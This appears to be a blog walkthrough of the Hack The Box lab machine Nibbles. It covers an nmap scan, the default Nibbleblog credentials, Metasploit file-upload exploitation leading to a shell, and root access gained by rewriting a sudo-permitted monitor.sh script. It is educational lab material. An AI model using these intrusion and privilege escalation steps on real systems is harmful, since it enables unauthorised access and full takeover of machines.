Hackthebox Nibbles Walkthrough

Hackthebox Nibbles walkthrough

# Enumeration

• let’s start with the Nmap Scan

┌─[us-dedivip-1]─[10.10.14.94]─[archtrmntor@htb-t6euzsju2c]─[~/my_data/labs/Nibbles]
└──╼ [★]$ nmap -sC -sV -p- 10.129.32.227 --min-rate=5000 -oN nibbles.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-30 21:14 CDT
Nmap scan report for 10.129.32.227
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

• and we got 2 port open , port 80 ( Apache ) and port 22 ( SSH )
• and on port 80 there nothing but a big heading say Hello world!

Hackthebox Nibbles walkthrough

• as i look into the source code and i found a directory named /nibbleblog

Hackthebox Nibbles walkthrough

• and nibble blog is a CMS and i found the Arbitrary file Upload vulnerability in the particular version ..

Hackthebox Nibbles walkthrough

• i run the Metasploit and look for related module and got one ..

Hackthebox Nibbles walkthrough

• this module required to have a credentials means its authenicated vulnerability , so i look for the default credential and found one ..

Hackthebox Nibbles walkthrough

• Here are the creds that i found..

admin:nibbles

• then i set-up all the required options and run th exploit module and got the meterpreter shell ..

Hackthebox Nibbles walkthrough

• then i get the local shell as nibbler user and upgrade it via python3 …

(Meterpreter 1)(/var/www/html/nibbleblog/content/private/plugins/my_image) > shell
Process 1582 created.
Channel 0 created.
python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$

• then i grab the user flag form the home directory ..

nibbler@Nibbles:/home$ ls
ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
838b46e65df58afb5dee10f2eab668e0
nibbler@Nibbles:/home/nibbler$

• there is a personl.zip file in the user’s home directory too so i started the python3 server..

Hackthebox Nibbles walkthrough

• and downloaded this file to the attacker machine ..

Hackthebox Nibbles walkthrough

• then i unzip the file and found out that it is not password protected and the file it contain is monitor.sh under /personal/stuff/monitor.sh
• as i do the sudo -l i found out that , we can run themonitor.sh file with root user ..

nibbler@Nibbles:/home/nibbler$ sudo -l 
sudo -l 
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ 

• so i update the monitor.sh so i can get the root shell , as soon as i run this file as sudo i got the root shell and then i grab the root flag …

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo -e '#!/bin/bash\n/bin/bash -i' > monitor.sh
<er/personal/stuff$ echo -e '#!/bin/bash\n/bin/bash -i' > monitor.sh         
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat  monitor.sh
cat  monitor.sh
#!/bin/bash
/bin/bash -i
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
root@Nibbles:/home/nibbler/personal/stuff# cd /root
cd /root
root@Nibbles:~# cat root.txt
cat root.txt
1c3379233910afe2168ae402a22b215e
root@Nibbles:~# 

There flags are of no use , as the rotate everytime machine restarts . So , don’t try to copy paste these flag they don’t work .

# Final Thoughts

I hope this blog continues to be helpful in your learning journey! do clap 👏 and Follow . If you find this blog helpful, I’d love to hear your thoughts — my inbox is always open for feedback. Please excuse any typos, and feel free to point them out so I can correct them. Thanks for understanding and happy learning!. You can contact me on Linkedin and Twitter . Social Links : linkdin , Twitter

Hackthebox Nibbles walkthrough